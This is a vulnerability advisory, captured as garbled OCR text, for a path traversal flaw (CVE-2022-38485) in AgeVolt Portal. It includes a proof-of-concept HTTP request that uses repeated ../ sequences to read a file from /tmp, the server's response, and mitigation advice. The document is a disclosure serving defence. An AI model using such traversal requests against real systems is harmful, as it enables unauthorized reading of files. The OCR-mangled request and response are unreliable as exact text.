Path Traversal in URL in AgeVolt Portal prior to
version 0.1

Short Description

A directory traversal vulnerability (CVE-2022-38485) exists in the AgeVolt Portal prior to version 0.1
that leads to Information Disclosure. A remote authenticated attacker could leverage this vulnerability
to read files from any location on the target operating system with web server privileges.

CVSS:3.1 score = 6.8 (Medium)

Detalils

By using special elements such as ../ separators, it is possible to escape outside of the restricted
location to access files that are elsewhere on the system. In the screenshot below you can see that
through this vulnerability we were able to read a text file test.txt thatisinthe /tmp directory.

Prett mHex \n (=
1 GET Jfeuk e oadoidocdoidoikoideafondofoulo /o Jtmp/test. txt HITP/1.1 I
FGSTT 10, 197, 45,

= Upgrade- equests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x54) Applewebkit/537.36 (KHTML, like
Gecko) Chrome/96.0.4664.45 Safari/537.36

S Accept:
text/html, application/xhtml+xml, application/xml;g=0.9,image/avif, image/webp, image/apng, */*;
g=0.8,application/signed- exchange;v=b3;q=0.9

G Accept-Enceding: gzip, deflate

7 Accept-Language: en-US,en;g=0.9

5 Cookie: SoftPLC=15884951

S Connection: close
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1| HTTP/1.1 200 oK

2| content-Type: text/plain

2 -Control: public, max-age=31536000
nt-Length: S

| connection: close

Mitigation

Input Validation and Sanitization:

Implement strict input validation to ensure that uploaded file names or paths only contain
allowed characters and conform to a predefined format.

Sanitize user input to remove or escape characters that could be used for path traversal,
suchas"."or"./.[."

Use Whitelists:

Maintain a whitelist of allowed file types and extensions for uploads. Only permit files that
match the whitelist.

Apply strict file type checks to ensure that the content of uploaded files matches their
declared type.

File Upload Directory Restrictions:


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38485
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Store uploaded files in a dedicated, restricted directory that is separate from sensitive system
files. This reduces the risk of unauthorized access to critical files.



